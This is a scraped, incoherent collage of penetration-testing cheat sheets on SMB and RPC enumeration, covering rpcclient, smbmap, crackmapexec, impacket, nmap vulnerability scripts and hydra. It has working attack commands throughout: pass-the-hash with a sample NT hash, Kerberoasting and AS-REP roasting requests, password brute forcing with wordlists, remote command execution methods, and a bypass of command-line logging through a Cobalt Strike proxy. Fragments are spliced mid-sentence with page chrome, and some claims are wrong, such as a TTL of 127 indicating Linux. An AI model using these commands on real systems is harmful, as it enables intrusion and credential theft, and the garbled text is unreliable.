sourcedata Source data This can be verified using the enumdomgroups command. Nice! remark: IPC Service (Mac OS X) Initial Access. Match. 1080 - Pentesting Socks. smbmap -u '' -p '' -H $ip # similar to crackmapexec --shares, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -r # list top level dir, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -R # list everything recursively, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. getdata Get print driver data addprinter Add a printer remark: PSC 2170 Series . If in the above example the ttl=127, then it is safe to assume (from this information alone) that the host, 10.10.10.10, is a Linux host. Disk Permissions rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-500 REG Similarly to enumerate the Primary Domain Information such as the Role of the machine, Native more of the Domain can be done using the dsroledominfo command as demonstrated. Enumerating Active Directory Using RPCClient - YouTube Pentesting Cheatsheets. Null sessions were enabled by default on legacy systems but have been disabled from Windows XP SP2 and Windows Server 2003. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2001 These may indicate whether the share exists and you do not have access to it or the share does not exist at all. --------------- ---------------------- guest S-1-5-21-1835020781-2383529660-3657267081-1063 (Local Group: 4) S-1-5-21-1835020781-2383529660-3657267081-1000 LEWISFAMILY\root (1) In there you may, many different batch, VBScript, and PowerShell, using some discovered credentials. ADMIN$ Disk Remote Admin rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-502 with a RID:[0x457] Hex 0x457 would = decimal. Host script results: S-1-5-21-1835020781-2383529660-3657267081-500 LEWISFAMILY\Administrator (1) | Current user access: MAC Address = 00-50-56-XX-XX-XX, [+] Finding open SMB ports. It accepts the group name as a parameter. | Comment: Nmap done: 1 IP address (1 host up) scanned in 5.58 seconds, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. lsaquery Query info policy null session or valid credentials). Learn offensive CTF training from certcube labs online . Port_Number: 137,138,139 #Comma separated if there is more than one. -I, --dest-ip=IP Specify destination IP address, Help options This is purely my experience with CTFs, Tryhackme, Vulnhub, and Hackthebox prior to enrolling in OSCP. MSRPC was originally derived from open source software but has been developed further and copyrighted by . List of SMB versions and corresponding Windows versions: SMB1 Windows 2000, XP and Windows 2003. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1012 This command retrieves the domain, server, users on the system, and other relevant information. -z $2 ]; then rport=$2; else rport=139; fi, tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' so lets run rpcclient with no options to see whats available: SegFault:~ cg$ rpcclient Use `proxychains + command" to use the socks proxy. It can be done with the help of the createdomuser command with the username that you want to create as a parameter. | RRAS Memory Corruption vulnerability (MS06-025) You can indicate which option you prefer to use with the parameter, # Using --exec-method {mmcexec,smbexec,atexec,wmiexec}, via SMB) in the victim machine and use it to, it is located on /usr/share/doc/python3-impacket/examples/, #If no password is provided, it will be prompted, Stealthily execute a command shell without touching the disk or running a new service using DCOM via, #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted, Execute commands via the Task Scheduler (using, https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/, #Get usernames bruteforcing that rids and then try to bruteforce each user name, This attack uses the Responder toolkit to. | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx Using rpcclient we can enumerate usernames on those OSs just like a windows OS. This is made from the words get domain password information. We can also check if the user we created has been assigned a SID or not using the lookupnames command on the rpcclient. enumports Enumerate printer ports guest access disabled, uses encryption. Code & Process Injection. enumdomusers Enumerate domain users Honor privileges assigned to specific SID? That narrows the version that the attacker might be looking at to Windows 10, Windows Server 2016, and Windows Server 2019. From the demonstration, it can be observed that the domain that is being enumerated is IGNITE. Workgroup Master | Disclosure date: 2006-6-27 result was NT_STATUS_NONE_MAPPED There was a Forced Logging off on the Server and other important information. SRVSVC -S, --signing=on|off|required Set the client signing state deleteform Delete form 139/tcp open netbios-ssn You get the idea, was pretty much the same for the Ubuntu guy cept that his user accounts were -3000. Start by typing "enum" at the prompt and hitting <tab><tab>: rpcclient $> enum enumalsgroups enumdomains enumdrivers enumkey enumprivs enumdata enumdomgroups enumforms enumports enumtrust enumdataex enumdomusers enumjobs enumprinter. # download everything recursively in the wwwroot share to /usr/share/smbmap. | grep -oP 'UnixSamba. The TTL drops 1 each time it passes through a router. *' # download everything recursively in the wwwroot share to /usr/share/smbmap. result was NT_STATUS_NONE_MAPPED The ability to enumerate individually doesnt limit to the groups but also extends to the users. Using lookupnames we can get the SID. It has a total of 67 users. It is possible to enumerate the SAM data through the rpcclient as well. Code Execution. For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. shutdownabort Abort Shutdown (over shutdown pipe) Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). The below shows a couple of things. | account_used: guest enumdrivers Enumerate installed printer drivers if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! Query Group Information and Group Membership. 623/UDP/TCP - IPMI. SaPrintOp 0:65283 (0x0:0xff03). After manipulating the Privileges on the different users and groups it is possible to enumerate the values of those specific privileges for a particular user using the lsalookupprivvalue command. dsenumdomtrusts Enumerate all trusted domains in an AD forest From the enumdomusers command, it was possible to obtain the users of the domain as well as the RID. WORKGROUP <00> - M This can be done by providing the Username and Password followed by the target IP address of the server. You signed in with another tab or window. proxychains nmap -sTV -n -PN -p 80,22 target-ip -vv. -A, --authentication-file=FILE Get the credentials from a file This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. debuglevel Set debug level | Comment: Remote Admin Manh-Dung Nguyen - OSCP Enumeration - GitHub Pages path: C:\tmp share Disk ADMIN$ NO ACCESS There are times where these share folders may contain sensitive or Confidential information that can be used to compromise the target. #rpcclient $>srvinfo #rpcclient $>enumdomusers #rpcclient $>querydominfo #rpcclient $>getdompwinfo //password policy #rpcclient $>netshareenum #nmblookup -A 192.168.1.1 [+] User SMB session establishd on [ip] | References: # lines. But sometimes these don't yield any interesting results. It enumerates alias groups on the domain. OSCP Guide | Rikunj Sindhwad - Xmind enumkey Enumerate printer keys [Original] As Ive been working through PWK/OSCP for the last month, one thing Ive noticed is that enumeration of SMB is tricky, and different tools fail / succeed on different hosts. SPOOLSS Can be Contacted onTwitterandLinkedIn, All Rights Reserved 2021 Theme: Prefer by, Windows Privilege Escalation: DnsAdmins to DomainAdmin. #These are the commands I run in order every time I see an open SMB port, smbclient -N //{IP}/ --option="client min protocol"=LANMAN1, crackmapexec smb {IP} --pass-pol -u "" -p "", crackmapexec smb {IP} --pass-pol -u "guest" -p "", GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all, GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat, GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/", smbmap -H {IP} -u {Username} -p {Password}, smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}, smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`, crackmapexec smb {IP} -u {Username} -p {Password} --shares, GetADUsers.py {Domain_Name}/{Username}:{Password} -all, GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat, GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request, https://book.hacktricks.xyz/pentesting/pentesting-smb, Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}, Description: SMB Vuln Scan With Nmap (Less Specific), Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}, Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb, Name: SMB/SMB2 139/445 consolesless mfs enumeration, Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole, Note: sourced from https://github.com/carlospolop/legion, Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'. smbclient (null session) enum4linux. --usage Display brief usage message, Common samba options: SMB Enumeration (Port 139, 445) - OSCP Notes - GitBook The privileges can be enumerated using the enumprivs command on rpcclient. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. server type : 0x9a03. --------------- ---------------------- The RPC service works on the RPC protocols that form a low-level inter-process communication between different Applications. | State: VULNERABLE samdeltas Query Sam Deltas 2. | Type: STYPE_DISKTREE_HIDDEN schannel Force RPC pipe connections to be sealed with 'schannel' (NETSEC). RPC or Remote Procedure Call is a service that helps establish and maintain communication between different Windows Applications. We have enumerated the users and groups on the domain but not enumerated the domain itself. It contains contents from other blogs for my quick reference, * nmap -sV --script=vulscan/vulscan.nse (https://securitytrails.com/blog/nmap-vulnerability-scan), masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports, ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//'), nmap -Pn -sC -sV --script=vuln*.nse -p$ports 10.10.10.x -T5 -A, (performs full scan instead of syn-scan to prevent getting flagged by firewalls), From Apache Version to finding Ubuntu version -> ubuntu httpd versions, : Private key that is used for login. When provided the username, it extracts information such as the username, Full name, Home Drive, Profile Path, Description, Logon Time, Logoff Time, Password set time, Password Change Frequency, RID, Groups, etc. Copyright 2017 pentest.tonyng.net. The connection uses. It can be used on the rpcclient shell that was generated to enumerate information about the server. getprinter Get printer info [STATUS] 29.00 tries/min, 29 tries in 00:01h, 787 todo in 00:28h S-1-5-21-1835020781-2383529660-3657267081-1002 LEWISFAMILY\daemon (1) | Anonymous access: As with the lsaenumsid, it was possible to extract the SID but it was not possible to tell which user has that SID. If used the RID is the parameter, the samlookuprids command can extract the username relevant to that particular RID. netname: ADMIN$ The next command to demonstrate is lookupsids. Password Checking if you found with other enum . --------- -------, Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-27 16:25 EDT You can also fire up wireshark and list target shares with smbclient , you can use anonymous listing to explained above and after that find , # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv.
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